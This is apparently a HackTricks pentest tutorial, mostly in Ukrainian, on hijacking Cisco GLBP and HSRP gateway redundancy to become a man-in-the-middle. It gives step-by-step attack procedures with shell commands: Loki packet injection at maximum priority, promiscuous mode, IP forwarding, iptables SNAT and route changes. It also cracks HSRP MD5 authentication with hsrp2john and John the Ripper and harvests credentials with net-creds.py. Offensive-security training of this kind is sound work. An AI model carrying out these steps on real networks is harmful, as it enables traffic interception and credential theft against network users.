GLBP & HSRP Attacks

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

FHRP Hijacking Overview

Insights into FHRP

FHRP призначений для забезпечення надійності мережі шляхом об'єднання кількох маршрутизаторів в єдину віртуальну одиницю, що підвищує розподіл навантаження та стійкість до відмов. Cisco Systems представила відомі протоколи в цьому наборі, такі як GLBP та HSRP.

GLBP Protocol Insights

Створений Cisco, GLBP функціонує на стеку TCP/IP, використовуючи UDP на порту 3222 для зв'язку. Маршрутизатори в групі GLBP обмінюються пакетами "hello" з інтервалом 3 секунди. Якщо маршрутизатор не надсилає ці пакети протягом 10 секунд, вважається, що він офлайн. Однак ці таймери не є фіксованими і можуть бути змінені.

GLBP Operations and Load Distribution

GLBP виділяється тим, що дозволяє розподіл навантаження між маршрутизаторами, використовуючи одну віртуальну IP-адресу в поєднанні з кількома віртуальними MAC-адресами. У групі GLBP кожен маршрутизатор бере участь у пересиланні пакетів. На відміну від HSRP/VRRP, GLBP пропонує справжнє балансування навантаження через кілька механізмів:

  • Host-Dependent Load Balancing: Підтримує постійне призначення AVF MAC-адреси хосту, що є важливим для стабільних конфігурацій NAT.
  • Round-Robin Load Balancing: За замовчуванням, чергуючи призначення AVF MAC-адреси серед запитуючих хостів.
  • Weighted Round-Robin Load Balancing: Розподіляє навантаження на основі попередньо визначених метрик "Ваги".

Key Components and Terminologies in GLBP

  • AVG (Active Virtual Gateway): Основний маршрутизатор, відповідальний за розподіл MAC-адрес між сусідніми маршрутизаторами.
  • AVF (Active Virtual Forwarder): Маршрутизатор, призначений для управління мережевим трафіком.
  • GLBP Priority: Метрика, що визначає AVG, починаючи з значення за замовчуванням 100 і коливається між 1 і 255.
  • GLBP Weight: Відображає поточне навантаження на маршрутизатор, яке можна регулювати вручну або через Object Tracking.
  • GLBP Virtual IP Address: Служить за замовчуванням шлюзом мережі для всіх підключених пристроїв.

Для взаємодії GLBP використовує зарезервовану мультикаст-адресу 224.0.0.102 та UDP порт 3222. Маршрутизатори передають пакети "hello" з інтервалом 3 секунди і вважаються неопераційними, якщо пакет пропущено протягом 10 секунд.

GLBP Attack Mechanism

Зловмисник може стати основним маршрутизатором, надіславши пакет GLBP з найвищим значенням пріоритету (255). Це може призвести до атак DoS або MITM, що дозволяє перехоплювати або перенаправляти трафік.

Executing a GLBP Attack with Loki

Loki може виконати атаку GLBP, інжектуючи пакет з пріоритетом і вагою, встановленими на 255. Попередні кроки атаки включають збір інформації, такої як віртуальна IP-адреса, наявність аутентифікації та значення пріоритету маршрутизаторів за допомогою інструментів, таких як Wireshark.

Attack Steps:

  1. Перейти в режим прослуховування та увімкнути IP-ретрансляцію.
  2. Визначити цільовий маршрутизатор і отримати його IP.
  3. Згенерувати Gratuitous ARP.
  4. Інжектувати шкідливий пакет GLBP, видаючи себе за AVG.
  5. Призначити вторинну IP-адресу мережевому інтерфейсу зловмисника, відображаючи віртуальну IP-адресу GLBP.
  6. Реалізувати SNAT для повної видимості трафіку.
  7. Налаштувати маршрутизацію, щоб забезпечити безперервний доступ до Інтернету через оригінальний маршрутизатор AVG.

Дотримуючись цих кроків, зловмисник позиціонує себе як "людина посередині", здатну перехоплювати та аналізувати мережевий трафік, включаючи незашифровані або чутливі дані.

Для демонстрації ось необхідні фрагменти команд:

bash
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Моніторинг та перехоплення трафіку можна здійснити за допомогою net-creds.py або подібних інструментів для захоплення та аналізу даних, що проходять через скомпрометовану мережу.

Пасивне пояснення захоплення HSRP з деталями команд

Огляд HSRP (Протокол гарячого резервування маршрутизаторів)

HSRP - це пропрієтарний протокол Cisco, призначений для резервування мережевих шлюзів. Він дозволяє налаштувати кілька фізичних маршрутизаторів в єдину логічну одиницю з спільною IP-адресою. Ця логічна одиниця управляється основним маршрутизатором, відповідальним за напрямок трафіку. На відміну від GLBP, який використовує метрики, такі як пріоритет і вага для балансування навантаження, HSRP покладається на один активний маршрутизатор для управління трафіком.

Ролі та термінологія в HSRP

  • HSRP Активний маршрутизатор: Пристрій, що виконує роль шлюзу, управляючи потоком трафіку.
  • HSRP Резервний маршрутизатор: Резервний маршрутизатор, готовий взяти на себе функції, якщо активний маршрутизатор вийде з ладу.
  • HSRP Група: Набір маршрутизаторів, які співпрацюють для формування єдиного стійкого віртуального маршрутизатора.
  • HSRP MAC-адреса: Віртуальна MAC-адреса, призначена логічному маршрутизатору в налаштуванні HSRP.
  • HSRP Віртуальна IP-адреса: Віртуальна IP-адреса групи HSRP, що виконує роль шлюзу за замовчуванням для підключених пристроїв.

Версії HSRP

HSRP має дві версії: HSRPv1 та HSRPv2, які відрізняються, в основному, ємністю групи, використанням мультикастових IP-адрес та структурою віртуальної MAC-адреси. Протокол використовує специфічні мультикастові IP-адреси для обміну інформацією про послуги, з пакетами Hello, що надсилаються кожні 3 секунди. Маршрутизатор вважається неактивним, якщо протягом 10 секунд не отримано жодного пакета.

Механізм атаки HSRP

Атаки HSRP передбачають примусове захоплення ролі Активного маршрутизатора шляхом ін'єкції максимального значення пріоритету. Це може призвести до атаки Man-In-The-Middle (MITM). Основні кроки перед атакою включають збір даних про налаштування HSRP, що можна зробити за допомогою Wireshark для аналізу трафіку.

Кроки для обходу автентифікації HSRP

  1. Збережіть мережевий трафік, що містить дані HSRP, у файл .pcap.
shell
tcpdump -w hsrp_traffic.pcap
  1. Витягніть MD5 хеші з файлу .pcap за допомогою hsrp2john.py.
shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Зламайте MD5 хеші за допомогою John the Ripper.
shell
john --wordlist=mywordlist.txt hsrp_hashes

Виконання ін'єкції HSRP за допомогою Loki

  1. Запустіть Loki для виявлення HSRP оголошень.
  2. Встановіть мережевий інтерфейс у проміскуїтний режим і увімкніть IP-пересилання.
shell
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Використовуйте Loki для націлювання на конкретний маршрутизатор, введіть зламаний пароль HSRP і виконайте необхідні налаштування для імітації Активного маршрутизатора.
  2. Після отримання ролі Активного маршрутизатора налаштуйте свій мережевий інтерфейс і таблиці IP для перехоплення легітимного трафіку.
shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Змініть таблицю маршрутизації, щоб направити трафік через колишній Активний маршрутизатор.
shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Використовуйте net-creds.py або подібну утиліту для захоплення облікових даних з перехопленого трафіку.
shell
sudo python2 net-creds.py -i eth0

Виконання цих кроків ставить атакуючого в позицію для перехоплення та маніпуляції трафіком, подібно до процедури захоплення GLBP. Це підкреслює вразливість у протоколах резервування, таких як HSRP, і необхідність надійних заходів безпеки.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks